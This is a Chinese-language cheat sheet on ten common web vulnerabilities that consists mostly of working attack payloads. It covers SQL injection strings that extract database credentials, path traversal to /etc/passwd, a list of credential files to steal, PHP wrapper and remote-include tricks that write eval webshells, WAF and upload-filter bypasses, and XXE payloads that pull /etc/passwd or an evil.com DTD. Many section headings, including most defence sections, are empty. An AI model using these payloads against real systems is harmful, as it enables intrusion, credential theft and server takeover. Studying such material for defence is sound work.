常见Web十大漏洞,常见Web漏洞
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
目录 一、SQL注入漏洞 分为以下五种注入方式: 查找SQL注入漏洞 Union注入 布尔盲注 报错注入 时间盲注 时间型盲注的加速方式 二、任意文件下载 漏洞原理: 产生原因: 利用条件: 漏洞发现: 漏洞利用方法: 漏洞防护: 三、敏感文件 四、文件包含 漏洞利用 PHP中的封装协议(伪协议) file:// php:// zip:// & bzip2:// & zlib:// data:// phar:// 远程文件包含(RFL) 漏洞利用 代码审计 漏洞防护 五、文件上传 漏洞原理 绕过 黑名单绕过: 白名单绕过: 黑白名单通用 基于WAF: 文件加载检测(文件内容检测) 漏洞防护 六、命令执行 漏洞原理 两个条件 命令执行漏洞带来的危害 列子 漏洞防护 七、代码执行 PHP敏感函数代码执行 八、XML外部实体注入 XML基础 恶意引入外部实体的三种方式 一、本地引入 二、远程引入 三、远程引入2 九、xss 漏洞 漏洞原理: xss 分类:(三类) 十、CSRF & SSRF CSRF: SSRF: 一、SQL注入漏洞分为以下五种注入方式:布尔盲注:根据返回页面判断条件真假 延时注入:用页面返回时间是否增加判断是否存在注入 报错注入:页面会返回错误信息 联合查询注入:可以使用union的情况下 堆叠注入:可以同时执行多条语句 (mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句) 查找SQL注入漏洞Union注入id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' --+ union select 1,2,3,group_concat(name,password) from 表名 用字段名从表中取数据 group_concat(str1,str2,...) 连接一个组的所有字符串 布尔盲注?id=1' and 1=1 --+ 页面返回正常 ?id=1' and 1=2 --+ 页面返回不正常 1'and length(database())>=1--+ 页面返回正常 1'and length(database())>=13--+ 页面返回正常 1'and length(database())>=14--+ 页面返回错误 由此判断得到数据库名的长度是13个字符 字符判断获取数据库名; 数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。 ' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。 还可以用ASCII码查询 a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为: ' and ord(substr(database(),1,1))=97--+ ASCII码表中可显示字符的范围是:0~127 ' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+ 修改1,1前边的1~20,逐字符猜解出第一个表的名 修改limit的0,1前边的0~20,逐个猜解每个表 ' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+ 修改1,1前边的1~20,逐字符猜解出第一个字段的名 修改limit的0,1前边的0~20,逐个猜解每个字段 报错注入xpath语法错误 extractvalue() 查询节点内容 updatexml() 修改查询到的内容 它们的第二个参数都要求是符合xpath语法的字符串 如果不满足要求则会报错,并且将查询结果放在报错信息里 这二者里面传参第一个是两个第二个是三个,但都是改变xpath 主键重复(duplicate entry) floor() --返回小于等于该值的最大整数 只要是count,rand(),group by 三个连用就会造成这种主键重复报错 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 0x7e是"~"符号的16进制,在这作为分隔符(喜欢哪个用哪个) ' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+ ' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 其它函数payload语法: --extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 时间盲注' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒 ' and sleep(5) and 1=2--+ 页面返回不正常,不延时 and if(length(database())>1,sleep(5),1) --if(条件表达式,真,假) --C语言的三目运算符类似 and if(substr(database(),1,1)='a',sleep(5),1)--+ 时间型盲注的加速方式二、任意文件下载漏洞原理:产生原因:利用条件:漏洞发现:
漏洞利用方法:index.php?f=../../../../../../../../../etc/passwd index.php?f=../../../index.php index.php?f=file:///etc/passwd readfile.php?file=/etc/passwd readfile.php?file=../../../../../etc/passwd readfile.php?file=../../../../../../../etc/passwd%00 // 00截断 注: 当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞, 若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。 漏洞防护:三、敏感文件/root/.bash_history //用户终端历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数 /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //php相关设置 /etc/httpd/conf/httpd.conf //apache配置文件 /etc/php5/apache2/php.ini //ubuntu系统的默认路径 apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件 apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件 apache-tomcat-8.5.51/conf/web.xml //tomcat应用程序的部署描述符文件 apache-tomcat-8.5.51/logs/catalina.out //即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。 PHP 获取inc/config.php文件,获得数据库连接字符串中的口令信息; ASP 获取inc/conn.asp文件,获得数据库连接字符串口令,得到数据库口令。若是ACCESS数据库,可以得到数据库路径,再下载数据库内容; ASPX 获取网站根目录web.config文件,获得数据库连接字符串中的口令信息; 获取bin/*.dll文件,获取网站源码(不完整代码),使用.NET reflector工具打开编译后的dll文件; JSP 获取conf/tomcat-user.xml文件,获得tongcat管理界面的口令信息,上传war包GetShell; 获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。 四、文件包含漏洞利用(1)include()、include_noce()、require()、require_once()等函数通过动态变量的方式引入包含文件; (2)用户能够控制该动态变量。 ?arg=/etc/passwd ?arg=php://filter/read=convert.base64-encode/resource=config.php 这样能看到php文件的源码 ?php if(isset($_GET['arg'])) { include($_GET['arg'].".php"); }else{ include(index.php); } ?> PHP中的封装协议(伪协议)file://1. file://[文件的绝对路径和文件名] http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt 2. file://[文件的相对路径和文件名] http://127.0.0.1/include.php?file=./phpinfo.txt 3. file://[网络路径和文件名] http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt php://allow_url_fopen:off/on allow_url_include : 部分需要on (下面列出) php://input php://stdin php://memory php://temp 1. php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php 2.php://input + [POST DATA]执行php代码 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 3.若有写入权限,[POST DATA部分] 写入一句话木马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> zip:// & bzip2:// & zlib://1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23) <!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传--> http://127.0.0.1/include.php? file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt 2.compress.bzip2://file.bz2 <!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)--> http://127.0.0.1/include.php? file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 3.compress.zlib://file.gz <!--压缩 phpinfo.txt 为 phpinfo.gz--> http://127.0.0.1/include.php? file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz data://1.data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> 2.data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b phar://http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt 远程文件包含(RFL)漏洞利用?arg=http://攻击者的VPS/shell.txt #会在网站目录生成名为 shell.php 的一句话木马 <?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>'); ?> 代码审计include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。 inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。 require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。 require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。 漏洞防护
五、文件上传漏洞原理绕过黑名单绕过:test.php:1.jpg //会被windows系统自动去掉不符合规则符号后面的内容 test.php::$DATA //会被windows系统自动去掉不符合规则符号后面的内容 白名单绕过:1)00截断: 抓包修改文件名后缀为“php .jpg”,再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00); 2).htaccess解析漏洞: (只适用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模块为开启状态):先上传.htaccess文件(AddType application/x-httpd-php .jpg),再上传一个图片马文件(jpg),上传的jpg文件都会以php文件格式解析。 3)Content-Type: 先上传正常的图片文件,查看Content-Type类型。上传脚本文件(AddType aaplication/x-httpd-php .jpg #将所有后缀为.jpg的文件作为php文件解析),将Content-Type类型改为查看到的类型(image/jpeg、imagepng、imagegif等) 4)Apache解析漏洞: Apache从右向左解析,若不能够解析最右的后缀,会递归向前解析,直到解析道能够解析为止,否则会报错。 5).user.ini: 适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件,文件内容“auto_prepend_file=a.jpg # a.jpg中符合php语言的代码会被执行”。 6)文件头检测: 上传图片马,再修改后缀为可解析脚本语言;或上传一句话木马,再将文件中添加正常格式文件头(GIF89a等)。 黑白名单通用<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> //上传shell.jpg文件,将解析为php运行 基于WAF:1)换行绕过 Content-Disposition:form-data;name="file";filename="1.php" Content-Disposition:form-data;name="file";file name="1.php" Content-Disposition:form-data;name="file";filename= "1.php" 2)多个等号绕过 Content-Disposition:form-data;name="file";filename=="1.php" 3)增加文件大小,类似于垃圾字符 Content-Disposition:form-data; qqqqqqqq…qqqqqqqqqqq;name="file";filename="1.php" 4)去掉或替换引号绕过 Content-Disposition:form-data;name=file;filename=1.php Content-Disposition:form-data;name='file';filename="1.php" 5)增加filename干扰拦截 Content-Disposition:form-data;name="file";filename= ;filename="1.php" 6)混淆waf匹配字段 a.混淆form-data Content-Disposition:name="file";filename="1.php" //去除form-data Content-Disposition:qqqqq="qweqwe";name="file"; filename="1.php" // 替换form-data为垃圾值 Content-Disposition: form-data ; name="file"; filename="1.php" // form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="1.php" // form-data中加+号 b.混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name="file"; filename="1.php" // 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" //调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 Content-Disposition: form-data; name="file_x";;; filename="test.php" //多个分号,导致可能解析不到文件名 7)双文件绕过: 例如安全狗总是以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。 8)容器与waf对Bounday要求规则不一致 Content-Type: multipart/form-data; boundary=—————————471114117352599 Content-Length: 253 —————————–471114117352599 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> —————————–471114117352599– 一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。 9) 条件竞争 一些情况再上传文件时,先上传到临时目录,然后再检测,检测到再删除。例如可以上传生成一句话木马的文件(fputs(fopen('shell.php','w'),'') ; 上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件shell.php。 文件加载检测(文件内容检测)漏洞防护1、使用白名单限制可以上传的文件扩展名 2、注意0x00截断攻击(PHP更新到最新版本) 3、对上传后的文件统一随机命名,不允许用户控制扩展名 4、上传文件的存储目录禁用执行权限 六、命令执行漏洞原理system() //执行外部程序,并且显示输出 exec() //执行一个外部程序 shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 passthru() //执行外部程序并且显示原始输出 pcntl_exec() //在当前进程空间执行指定程序 popen() //打开进程文件指针 proc_open() //执行一个命令,并且打开用来输入/输出的文件指针 反引号 令拼接到正常命令中,从而造成命令执行攻击。 两个条件
命令执行漏洞带来的危害继承Web服务程序的权限去执行系统命令(任意代码)或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗透 等 列子<?php $test = $_GET['cmd']; system($test); ?> 漏洞防护七、代码执行PHP敏感函数代码执行eval() //把字符串作为PHP代码执行 assert() //检查一个断言是否为 FALSE,可用来执行代码 preg_replace() //执行一个正则表达式的搜索和替换 call_user_func()//把第一个参数作为回调函数调用 call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数 array_map() //为数组的每个元素应用回调函数 八、XML外部实体注入XML基础<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,bodys)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)> ]><!--文档类型定义--> <note> <to>北京</to><from>石家庄</from> <heading>wintrysec</heading><bodys>wintrysec.github.io</bodys> </note><!--文档元素--> <message>此文本会被解析</message> <name><first>Bill</first><last>Gates</last></name> <!--内部声明DTD--> <!DOCTYPE 根元素 [元素声明]> <!--引用外部DTD--> <!DOCTYPE 根元素 SYSTEM “文件名”> <!--或者--> <!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。--> <!--内部声明实体--> <!ENTITY 实体名称 “实体的值"> <!--引用外部实体--> <!ENTITY 实体名称 SYSTEM “URI"> <!--或者--> <!ENTITY 实体名称 PUBLIC “public_ID" “URI"> 恶意引入外部实体的三种方式一、本地引入<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE x[ <!ENTITY wintrysec SYSTEM "file:///etc/passwd"> ]><!--文档类型定义--> <test>&wintrysec;</test><!--文档元素--> 二、远程引入<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE x[ <!ENTITY %d SYSTEM "http://evil.com/evil.dtd"> %d; ]><!--文档类型定义--> <test>&wintrysec;</test><!--文档元素--> <!ENTITY wintrysec SYSTEM “file:///etc/passwd"> 三、远程引入2<?xml version="1.0" ?> <!DOCTYPE x SYSTEM "http://evil.com/evil.dtd"> <test>&wintrysec;</test> 九、xss 漏洞漏洞原理:xss 分类:(三类)十、CSRF & SSRFCSRF:SSRF:该文章在 2024/2/29 22:57:02 编辑过 |
关键字查询
相关文章
正在查询... |